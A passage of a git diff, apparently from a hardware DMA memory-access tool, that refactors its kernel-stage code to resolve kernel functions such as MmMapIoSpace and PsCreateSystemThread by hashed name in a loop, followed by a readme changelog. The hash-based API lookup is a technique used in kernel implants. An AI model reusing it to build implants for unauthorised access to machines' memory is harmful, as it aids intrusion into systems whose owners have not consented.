H_RtlCopyMemory); - pk->fn.ZwProtectVirtualMemory = PEGetProcAddressH(pk->AddrKernelBase, H_ZwProtectVirtualMemory); - pk->fn.KeDelayExecutionThread = PEGetProcAddressH(pk->AddrKernelBase, H_KeDelayExecutionThread); + DWORD i = 0, NAMES[32]; + NAMES[i++] = H_ExFreePool; + NAMES[i++] = H_MmFreeContiguousMemory; + NAMES[i++] = H_MmAllocateContiguousMemory; + NAMES[i++] = H_MmGetPhysicalAddress; + NAMES[i++] = H_MmGetPhysicalMemoryRanges; + NAMES[i++] = H_MmMapIoSpace; + NAMES[i++] = H_MmUnmapIoSpace; + NAMES[i++] = H_PsCreateSystemThread; + NAMES[i++] = H_RtlCopyMemory; + NAMES[i++] = H_ZwProtectVirtualMemory; + NAMES[i++] = H_KeDelayExecutionThread; + while(i) { + i--; + *((PQWORD)&pk->fn + i) = PEGetProcAddressH(pk->AddrKernelBase, NAMES[i]); + } stage3_c_MainCommandLoop(pk); } diff --git a/readme.md b/readme.md index ad2cb31..d185bad 100644 --- a/readme.md +++ b/readme.md @@ -220,3 +220,7 @@ v2.4 v2.5 * SP605/FT601: re-designed and improved. NB! FPGA device have to be re-flashed with new bitstream! * SP605/TCP: bug fixes. + +Latest +* Display command added. +* Various bug fixes.